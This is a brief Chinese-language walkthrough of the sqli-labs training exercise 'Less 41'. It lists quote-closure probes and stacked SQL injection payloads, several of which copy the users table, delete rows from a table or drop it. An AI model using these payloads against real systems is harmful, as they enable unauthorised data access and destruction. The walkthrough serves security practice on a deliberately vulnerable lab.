Sqli labs less 41

1.输入正确的参数，网页回显正常的信息。使用单引号闭合，网页无回显。

 

 2.将后面的内容注释掉，网页无回显。测试以下所有语句，全部都无回显，说明此处存在数值型盲注。

?id=1'--+
?id=1')--+
?id=1'))--+
?id=1"--+
?id=1")--+
?id=1"))--+

 

 3.堆叠注入

?id=1;CREATE TABLE WhiteMoon LIKE users;--+
?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1;DELETE FROM WhiteMoon;--+
?id=1;DROP TABLE WhiteMoon;--+